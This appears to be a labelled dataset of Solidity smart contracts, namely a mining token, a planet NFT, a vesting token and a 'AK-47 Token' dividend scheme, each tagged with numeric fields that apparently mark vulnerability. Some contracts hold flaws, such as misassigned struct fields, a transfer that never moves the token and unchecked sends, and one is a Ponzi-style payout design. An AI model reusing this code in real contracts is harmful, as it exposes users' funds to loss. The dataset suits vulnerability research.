contract FUTM is MintableToken, BurnableToken, RBAC {
using SafeMath for uint256;
string public constant name = "Futereum Markets";
string public constant symbol = "FUTM";
uint8 public constant decimals = 18;
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_SUPER = "super";
uint public swapLimit;
uint public constant CYCLE_CAP = 100000 * (10 ** uint256(decimals));
uint public constant BILLION = 10 ** 9;
event SwapStarted(uint256 startTime);
event MiningRestart(uint256 endTime);
event CMCUpdate(string updateType, uint value);
uint offset = 10**18;
uint public exchangeRateFUTB;
uint public exchangeRateFUTX;
uint public cycleMintSupply = 0;
bool public isMiningOpen = false;
uint public CMC = 129238998229;
uint public cycleEndTime;
address public constant FUTC = 0xdaa6CD28E6aA9d656930cE4BB4FA93eEC96ee791;
address public constant FUTB = 0x42D8F8E19F73707397B6e9eB7dD022d3c0aE736c;
address public constant FUTX = 0x8b7d07b6ffB9364e97B89cEA8b84F94249bE459F;
constructor() public {
owner = this;
totalSupply_ = 0;
addRole(msg.sender, ROLE_ADMIN);
addRole(msg.sender, ROLE_SUPER);
exchangeRateFUTB = offset.mul(offset).div(CMC.mul(offset).div(BILLION)).mul(65).div(100);
exchangeRateFUTX = offset.mul(offset).div(uint(14757117940).mul(offset).div(uint(67447696614)).mul(CMC).div(BILLION)).mul(65).div(100);
}
modifier canMine() {
require(isMiningOpen);
_;
}
function mine(uint amount) canMine external {
require(amount > 0);
require(cycleMintSupply < CYCLE_CAP);
require(ERC20(FUTB).transferFrom(msg.sender, address(this), amount));
uint refund = _mine(exchangeRateFUTB, amount);
if(refund > 0) {
ERC20(FUTB).transfer(msg.sender, refund);
}
if (cycleMintSupply == CYCLE_CAP) {
_startSwap();
}
}
function _mine(uint _rate, uint _inAmount) private returns (uint) {
assert(_rate > 0);
if (now > cycleEndTime && cycleMintSupply > 0) {
_startSwap();
return _inAmount;
}
uint tokens = _rate.mul(_inAmount).div(offset);
uint refund = 0;
uint futcFeed = tokens.mul(35).div(65);
if (tokens + futcFeed + cycleMintSupply > CYCLE_CAP) {
uint overage = tokens + futcFeed + cycleMintSupply - CYCLE_CAP;
uint tokenOverage = overage.mul(65).div(100);
futcFeed -= (overage - tokenOverage);
tokens -= tokenOverage;
refund = tokenOverage.mul(offset).div(_rate);
}
cycleMintSupply += (tokens + futcFeed);
require(futcFeed > 0, "Mining payment too small.");
MintableToken(this).mint(msg.sender, tokens);
MintableToken(this).mint(FUTC, futcFeed);
return refund;
}
bool public swapOpen = false;
mapping(address => uint) public swapRates;
function _startSwap() private {
swapOpen = true;
isMiningOpen = false;
swapLimit = cycleMintSupply.mul(35).div(100);
swapRates[FUTX] = ERC20(FUTX).balanceOf(address(this)).mul(offset).mul(35).div(100).div(swapLimit);
swapRates[FUTB] = ERC20(FUTB).balanceOf(address(this)).mul(offset).mul(35).div(100).div(swapLimit);
emit SwapStarted(now);
}
function swap(uint amt) public {
require(swapOpen && swapLimit > 0);
if (amt > swapLimit) {
amt = swapLimit;
}
swapLimit -= amt;
burn(amt);
if (amt.mul(swapRates[FUTX]) > 0) {
ERC20(FUTX).transfer(msg.sender, amt.mul(swapRates[FUTX]).div(offset));
}
if (amt.mul(swapRates[FUTB]) > 0) {
ERC20(FUTB).transfer(msg.sender, amt.mul(swapRates[FUTB]).div(offset));
}
if (swapLimit == 0) {
_restart();
}
}
function _restart() private {
require(swapOpen);
require(swapLimit == 0);
cycleMintSupply = 0;
swapOpen = false;
isMiningOpen = true;
cycleEndTime = now + 100 days;
emit MiningRestart(cycleEndTime);
}
function updateCMC(uint _cmc) private {
require(_cmc > 0);
CMC = _cmc;
emit CMCUpdate("TOTAL_CMC", _cmc);
exchangeRateFUTB = offset.mul(offset).div(CMC.mul(offset).div(BILLION)).mul(65).div(100);
}
function updateCMC(uint _cmc, uint _btc, uint _eth) public onlyAdmin{
require(_btc > 0 && _eth > 0);
updateCMC(_cmc);
emit CMCUpdate("BTC_CMC", _btc);
emit CMCUpdate("ETH_CMC", _eth);
exchangeRateFUTX = offset.mul(offset).div(_eth.mul(offset).div(_btc).mul(CMC).div(BILLION)).mul(65).div(100);
}
modifier onlySuper() {
checkRole(msg.sender, ROLE_SUPER);
_;
}
modifier onlyAdmin() {
checkRole(msg.sender, ROLE_ADMIN);
_;
}
function addAdmin(address _addr) public onlySuper {
addRole(_addr, ROLE_ADMIN);
}
function removeAdmin(address _addr) public onlySuper {
removeRole(_addr, ROLE_ADMIN);
}
function changeSuper(address _addr) public onlySuper {
addRole(_addr, ROLE_SUPER);
removeRole(msg.sender, ROLE_SUPER);
}
} | 1 | 3,467 |
pragma solidity ^0.4.18;
contract Ownable
{
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract NFT
{
function totalSupply() public constant returns (uint);
function balanceOf(address) public constant returns (uint);
function tokenOfOwnerByIndex(address owner, uint index) public constant returns (uint);
function ownerOf(uint tokenId) public constant returns (address);
function transfer(address to, uint tokenId) public;
function takeOwnership(uint tokenId) public;
function approve(address beneficiary, uint tokenId) public;
function metadata(uint tokenId) public constant returns (string);
}
contract NFTEvents
{
event TokenCreated(uint tokenId, address owner, string metadata);
event TokenDestroyed(uint tokenId, address owner);
event TokenTransferred(uint tokenId, address from, address to);
event TokenTransferAllowed(uint tokenId, address beneficiary);
event TokenTransferDisallowed(uint tokenId, address beneficiary);
event TokenMetadataUpdated(uint tokenId, address owner, string data);
}
contract BasicNFT is NFT, NFTEvents
{
uint public totalTokens;
mapping(address => uint[]) public ownedTokens;
mapping(address => uint) _virtualLength;
mapping(uint => uint) _tokenIndexInOwnerArray;
mapping(uint => address) public tokenOwner;
mapping(uint => address) public allowedTransfer;
mapping(uint => string) public tokenMetadata;
function totalSupply() public constant returns (uint)
{
return totalTokens;
}
function balanceOf(address owner) public constant returns (uint)
{
return _virtualLength[owner];
}
function tokenOfOwnerByIndex(address owner, uint index) public constant returns (uint)
{
require(index >= 0 && index < balanceOf(owner));
return ownedTokens[owner][index];
}
function getAllTokens(address owner) public constant returns (uint[])
{
uint size = _virtualLength[owner];
uint[] memory result = new uint[](size);
for (uint i = 0; i < size; i++) {
result[i] = ownedTokens[owner][i];
}
return result;
}
function ownerOf(uint tokenId) public constant returns (address)
{
return tokenOwner[tokenId];
}
function transfer(address to, uint tokenId) public
{
require(tokenOwner[tokenId] == msg.sender || allowedTransfer[tokenId] == msg.sender);
_transfer(tokenOwner[tokenId], to, tokenId);
}
function takeOwnership(uint tokenId) public
{
require(allowedTransfer[tokenId] == msg.sender);
_transfer(tokenOwner[tokenId], msg.sender, tokenId);
}
function approve(address beneficiary, uint tokenId) public
{
require(msg.sender == tokenOwner[tokenId]);
if (allowedTransfer[tokenId] != 0)
{
allowedTransfer[tokenId] = 0;
TokenTransferDisallowed(tokenId, allowedTransfer[tokenId]);
}
allowedTransfer[tokenId] = beneficiary;
TokenTransferAllowed(tokenId, beneficiary);
}
function metadata(uint tokenId) constant public returns (string)
{
return tokenMetadata[tokenId];
}
function updateTokenMetadata(uint tokenId, string _metadata) internal returns(bool)
{
require(msg.sender == tokenOwner[tokenId]);
tokenMetadata[tokenId] = _metadata;
TokenMetadataUpdated(tokenId, msg.sender, _metadata);
return true;
}
function _transfer(address from, address to, uint tokenId) internal returns(bool)
{
allowedTransfer[tokenId] = 0;
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
TokenTransferred(tokenId, from, to);
return true;
}
function _removeTokenFrom(address from, uint tokenId) internal
{
require(_virtualLength[from] > 0);
uint length = _virtualLength[from];
uint index = _tokenIndexInOwnerArray[tokenId];
uint swapToken = ownedTokens[from][length - 1];
ownedTokens[from][index] = swapToken;
_tokenIndexInOwnerArray[swapToken] = index;
_virtualLength[from]--;
}
function _addTokenTo(address owner, uint tokenId) internal
{
if (ownedTokens[owner].length == _virtualLength[owner])
{
ownedTokens[owner].push(tokenId);
}
else
{
ownedTokens[owner][_virtualLength[owner]] = tokenId;
}
tokenOwner[tokenId] = owner;
_tokenIndexInOwnerArray[tokenId] = _virtualLength[owner];
_virtualLength[owner]++;
}
}
contract PlanetToken is Ownable, BasicNFT
{
string public name = 'Planet Tokens';
string public symbol = 'PT';
mapping (uint => uint) public cordX;
mapping (uint => uint) public cordY;
mapping (uint => uint) public cordZ;
mapping (uint => uint) public lifeD;
mapping (uint => uint) public lifeN;
mapping (uint => uint) public lifeA;
mapping (uint => uint) public latestPing;
struct planet
{
uint x;
uint y;
uint z;
string name;
address owner;
string liason;
string url;
uint cost;
uint index;
}
struct _donations
{
uint start;
uint genesis;
uint interval;
uint ppp;
uint amount;
uint checkpoint;
}
mapping(uint => planet) planets;
mapping(address => _donations) donations;
string private universe;
uint private min_donation;
address private donation_address;
uint private coordinate_limit;
event TokenPing(uint tokenId);
function () public payable
{
donation_address.transfer(msg.value);
}
function PlanetToken(string UniverseName, uint CoordinateLimit, address DonationAddress, uint StartingWeiDonation, uint BlockIntervals, uint WeiPerPlanet) public
{
universe = UniverseName;
min_donation = StartingWeiDonation;
coordinate_limit = CoordinateLimit;
donation_address = DonationAddress;
donations[donation_address].start = min_donation;
donations[donation_address].genesis = block.number;
donations[donation_address].checkpoint = block.number;
donations[donation_address].interval = BlockIntervals;
donations[donation_address].ppp = WeiPerPlanet;
donations[donation_address].amount = min_donation;
}
function assignNewPlanet(address beneficiary, uint x, uint y, uint z, string _planetName, string liason, string url) public payable
{
uint MinimumDonation = donations[donation_address].amount;
require(tokenOwner[buildTokenId(x, y, z)] == 0);
require(msg.value >= MinimumDonation);
require(x <= coordinate_limit);
require(y <= coordinate_limit);
require(z <= coordinate_limit);
latestPing[buildTokenId(x, y, z)] = now;
_addTokenTo(beneficiary, buildTokenId(x, y, z));
totalTokens++;
tokenMetadata[buildTokenId(x, y, z)] = _planetName;
cordX[buildTokenId(x, y, z)] = x;
cordY[buildTokenId(x, y, z)] = y;
cordZ[buildTokenId(x, y, z)] = z;
lifeD[buildTokenId(x, y, z)] = uint256(keccak256(x, '|x|', msg.sender, '|', universe));
lifeN[buildTokenId(x, y, z)] = uint256(keccak256(y, '|y|', msg.sender, '|', universe));
lifeA[buildTokenId(x, y, z)] = uint256(keccak256(z, '|z|', msg.sender, '|', universe));
planets[buildTokenId(x, y, z)].x = x;
planets[buildTokenId(x, y, z)].x = y;
planets[buildTokenId(x, y, z)].x = z;
planets[buildTokenId(x, y, z)].name = _planetName;
planets[buildTokenId(x, y, z)].owner = beneficiary;
planets[buildTokenId(x, y, z)].liason = liason;
planets[buildTokenId(x, y, z)].url = url;
planets[buildTokenId(x, y, z)].index = totalTokens - 1;
planets[buildTokenId(x, y, z)].cost = msg.value;
TokenCreated(buildTokenId(x, y, z), beneficiary, _planetName);
donation_address.transfer(msg.value);
uint this_block = block.number;
uint new_checkpoint = donations[donation_address].checkpoint + donations[donation_address].interval;
if(this_block > new_checkpoint)
{
donations[donation_address].checkpoint = this_block;
donations[donation_address].amount = donations[donation_address].ppp * totalTokens;
}
}
function MinimumDonation() public view returns(uint)
{
return donations[donation_address].amount;
}
function BlocksToGo() public view returns(uint)
{
uint this_block = block.number;
uint next_block = donations[donation_address].checkpoint + donations[donation_address].interval;
if(this_block < next_block)
{
return next_block - this_block;
}
else
{
return 0;
}
}
function GetLiasonName(uint x, uint y, uint z) public view returns(string)
{
return planets[buildTokenId(x, y, z)].liason;
}
function GetLiasonURL(uint x, uint y, uint z) public view returns(string)
{
return planets[buildTokenId(x, y, z)].url;
}
function GetIndex(uint x, uint y, uint z) public view returns(uint)
{
return planets[buildTokenId(x, y, z)].index;
}
function GetCost(uint x, uint y, uint z) public view returns(uint)
{
return planets[buildTokenId(x, y, z)].cost;
}
function UpdatedDonationAddress(address NewAddress) onlyOwner public
{
address OldAddress = donation_address;
donation_address = NewAddress;
donations[donation_address].start = donations[OldAddress].start;
donations[donation_address].genesis = donations[OldAddress].genesis;
donations[donation_address].checkpoint = donations[OldAddress].checkpoint;
donations[donation_address].interval = donations[OldAddress].interval;
donations[donation_address].ppp = donations[OldAddress].ppp;
donations[donation_address].amount = donations[OldAddress].amount;
}
function ping(uint tokenId) public
{
require(msg.sender == tokenOwner[tokenId]);
latestPing[tokenId] = now;
TokenPing(tokenId);
}
function buildTokenId(uint x, uint y, uint z) public view returns (uint256)
{
return uint256(keccak256(x, '|', y, '|', z, '|', universe));
}
function exists(uint x, uint y, uint z) public constant returns (bool)
{
return ownerOfPlanet(x, y, z) != 0;
}
function ownerOfPlanet(uint x, uint y, uint z) public constant returns (address)
{
return tokenOwner[buildTokenId(x, y, z)];
}
function transferPlanet(address to, uint x, uint y, uint z) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].owner = to;
}
function planetName(uint x, uint y, uint z) constant public returns (string)
{
return tokenMetadata[buildTokenId(x, y, z)];
}
function planetCordinates(uint tokenId) public constant returns (uint[])
{
uint[] memory data = new uint[](3);
data[0] = cordX[tokenId];
data[1] = cordY[tokenId];
data[2] = cordZ[tokenId];
return data;
}
function planetLife(uint x, uint y, uint z) constant public returns (uint[])
{
uint[] memory dna = new uint[](3);
dna[0] = lifeD[buildTokenId(x, y, z)];
dna[1] = lifeN[buildTokenId(x, y, z)];
dna[2] = lifeA[buildTokenId(x, y, z)];
return dna;
}
function updatePlanetName(uint x, uint y, uint z, string _planetName) public
{
if(updateTokenMetadata(buildTokenId(x, y, z), _planetName))
{
planets[buildTokenId(x, y, z)].name = _planetName;
}
}
function updatePlanetLiason(uint x, uint y, uint z, string LiasonName) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].liason = LiasonName;
}
function updatePlanetURL(uint x, uint y, uint z, string LiasonURL) public
{
require(msg.sender == tokenOwner[buildTokenId(x, y, z)]);
planets[buildTokenId(x, y, z)].url = LiasonURL;
}
} | 1 | 2,922 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract UChainToken is ERC20 {
using SafeMath for uint256;
string constant public name = 'UChain Token';
string constant public symbol = 'UCN';
uint8 constant public decimals = 18;
uint256 constant public decimalFactor = 10 ** uint(decimals);
uint256 public totalSupply;
bool public isMintingFinished = false;
mapping(address => bool) public admins;
struct Vesting {
uint256 vestedUntil;
uint256 vestedAmount;
}
mapping(address => Vesting) public vestingEntries;
bool public isTransferEnabled = false;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
event MintFinished();
event Mint(address indexed _beneficiary, uint256 _value);
event MintVested(address indexed _beneficiary, uint256 _value);
event AdminRemoved(address indexed _adminAddress);
event AdminAdded(address indexed _adminAddress);
constructor() public {
admins[msg.sender] = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply - balances[address(0)];
}
function balanceOf(address _tokenOwner) public view returns (uint256) {
return balances[_tokenOwner];
}
function allowance(address _tokenOwner, address _spender) public view returns (uint256) {
return allowances[_tokenOwner][_spender];
}
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function removeAdmin(address _adminAddress) public onlyAdmin {
delete admins[_adminAddress];
emit AdminRemoved(_adminAddress);
}
function addAdmin(address _adminAddress) public onlyAdmin {
admins[_adminAddress] = true;
emit AdminAdded(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
function mint(address _beneficiary, uint256 _value) public onlyAdmin returns (bool) {
require(!isMintingFinished);
totalSupply = totalSupply.add(_value);
balances[_beneficiary] = balances[_beneficiary].add(_value);
emit Mint(_beneficiary, _value);
emit Transfer(address(0), _beneficiary, _value);
return true;
}
function bulkMint(address[] _beneficiaries, uint256[] _values) public onlyAdmin returns (bool) {
require(_beneficiaries.length == _values.length);
for (uint256 i = 0; i < _beneficiaries.length; i = i.add(1)) {
require(mint(_beneficiaries[i], _values[i]));
}
return true;
}
function mintVested(uint256 _vestedUntil, address _beneficiary, uint256 _value) public onlyAdmin returns (bool) {
require(mint(_beneficiary, _value));
vestingEntries[_beneficiary] = Vesting(_vestedUntil, _value);
emit MintVested(_beneficiary, _value);
return true;
}
function bulkMintVested(uint256 _vestedUntil, address[] _beneficiaries, uint256[] _values) public onlyAdmin returns (bool) {
require(_beneficiaries.length == _values.length);
for (uint256 i = 0; i < _beneficiaries.length; i = i.add(1)) {
require(mintVested(_vestedUntil, _beneficiaries[i], _values[i]));
}
return true;
}
function finishMinting() public onlyAdmin {
isMintingFinished = true;
}
function getNonVestedBalanceOf(address _tokenOwner) public view returns (uint256) {
if (block.timestamp < vestingEntries[_tokenOwner].vestedUntil) {
return balances[_tokenOwner].sub(vestingEntries[_tokenOwner].vestedAmount);
} else {
return balances[_tokenOwner];
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
require(_to != address(0));
require(_value <= getNonVestedBalanceOf(msg.sender));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
require(_to != address(0));
require(_value <= getNonVestedBalanceOf(_from));
require(_value <= allowances[_from][msg.sender]);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function setIsTransferEnabled(bool _isTransferEnabled) public onlyAdmin {
isTransferEnabled = _isTransferEnabled;
}
} | 0 | 864 |
pragma solidity ^0.4.25;
contract AK_47_Token {
using SafeMath for uint;
struct Investor {
uint deposit;
uint paymentTime;
uint claim;
}
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier antiEarlyWhale {
if (address(this).balance -msg.value < whaleBalanceLimit){
require(msg.value <= maxEarlyStake);
}
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier startOK() {
require(isStarted());
_;
}
modifier isOpened() {
require(isPortalOpened());
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event OnWithdraw(address indexed addr, uint withdrawal, uint time);
string public name = "AK-47 Token";
string public symbol = "AK-47";
uint8 constant public decimals = 18;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 10e18;
uint256 public maxEarlyStake = 5 ether;
uint256 public whaleBalanceLimit = 100 ether;
uint256 public startTime = 0;
bool public startCalled = false;
uint256 public openTime = 0;
bool public PortalOpen = false;
mapping (address => Investor) public investors;
mapping (address => uint256) internal tokenBalanceLedger_;
mapping (address => uint256) internal referralBalance_;
mapping (address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
uint256 public depositCount_;
uint public investmentsNumber;
uint public investorsNumber;
address public AdminAddress;
address public PromotionalAddress;
address public owner;
event OnNewInvestor(address indexed addr, uint time);
event OnInvesment(address indexed addr, uint deposit, uint time);
event OnDeleteInvestor(address indexed addr, uint time);
event OnClaim(address indexed addr, uint claim, uint time);
event theFaucetIsDry(uint time);
event balancesosmall(uint time);
constructor () public {
owner = msg.sender;
AdminAddress = msg.sender;
PromotionalAddress = msg.sender;
}
function setStartTime(uint256 _startTime) public {
require(msg.sender==owner && !isStarted() && now < _startTime && !startCalled);
require(_startTime > now);
startTime = _startTime;
startCalled = true;
}
function setOpenPortalTime(uint256 _openTime) public {
require(msg.sender==owner);
require(_openTime > now);
openTime = _openTime;
PortalOpen = true;
}
function setFeesAdress(uint n, address addr) public onlyOwner {
require(n >= 1 && n <= 2, "invalid number of fee`s address");
if (n == 1) {
AdminAddress = addr;
} else if (n == 2) {
PromotionalAddress = addr;
}
}
function buy(address referredBy) antiEarlyWhale startOK public payable returns (uint256) {
uint depositAmount = msg.value;
AdminAddress.send(depositAmount * 5 / 100);
PromotionalAddress.send(depositAmount * 5 / 100);
address investorAddr = msg.sender;
Investor storage investor = investors[investorAddr];
if (investor.deposit == 0) {
investorsNumber++;
emit OnNewInvestor(investorAddr, now);
}
investor.deposit += depositAmount;
investor.paymentTime = now;
investmentsNumber++;
emit OnInvesment(investorAddr, depositAmount, now);
purchaseTokens(msg.value, referredBy, msg.sender);
}
function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale startOK public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy , _customerAddress);
}
function() external payable {
if (msg.value == 0) {
exit();
} else if (msg.value == 0.01 ether) {
reinvest();
} else if (msg.value == 0.001 ether) {
withdraw();
} else if (msg.value == 0.0001 ether) {
faucet();
} else {
buy(bytes2address(msg.data));
}
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0 , _customerAddress);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() isOpened public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders isOpened public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
return transferInternal(_toAddress,_amountOfTokens,_customerAddress);
}
function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) {
address _customerAddress = _fromAddress;
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function FaucetForInvestor(address investorAddr) public view returns(uint forClaim) {
return getFaucet(investorAddr);
}
function faucet() onlyBagholders public {
address investorAddr = msg.sender;
uint forClaim = getFaucet(investorAddr);
require(forClaim > 0, "cannot claim zero eth");
require(address(this).balance > 0, "fund is empty");
uint claim = forClaim;
if (address(this).balance <= claim) {
emit theFaucetIsDry(now);
claim = address(this).balance.div(10).mul(9);
}
Investor storage investor = investors[investorAddr];
uint totalclaim = claim + investor.claim;
if (claim > forClaim) {
claim = forClaim;
}
investor.claim += claim;
investor.paymentTime = now;
investorAddr.transfer(claim);
emit OnClaim(investorAddr, claim, now);
}
function getFaucet(address investorAddr) internal view returns(uint forClaim) {
Investor storage investor = investors[investorAddr];
if (investor.deposit == 0) {
return (0);
}
uint HoldDays = now.sub(investor.paymentTime).div(24 hours);
forClaim = HoldDays * investor.deposit * 5 / 100;
}
function bytes2address(bytes memory source) internal pure returns(address addr) {
assembly { addr := mload(add(source, 0x14)) }
return addr;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee()), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee()), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
return _ethereum;
}
function entryFee() public view returns (uint8){
uint256 volume = address(this).balance - msg.value;
if (volume<=10 ether){
return 17;
}
if (volume<=25 ether){
return 20;
}
if (volume<=50 ether){
return 17;
}
if (volume<=100 ether){
return 14;
}
if (volume<=250 ether){
return 11;
}
return 10;
}
function isStarted() public view returns (bool) {
return startTime!=0 && now > startTime;
}
function isPortalOpened() public view returns (bool) {
return openTime!=0 && now > openTime;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) {
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee()), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
